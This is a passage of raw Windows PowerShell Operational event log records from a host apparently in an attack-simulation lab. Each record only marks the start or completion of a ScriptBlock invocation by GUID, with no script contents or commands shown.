SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033621
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033620
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033619
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033618
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033602
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033601
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033596
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033595
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033581
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2033579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2033578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
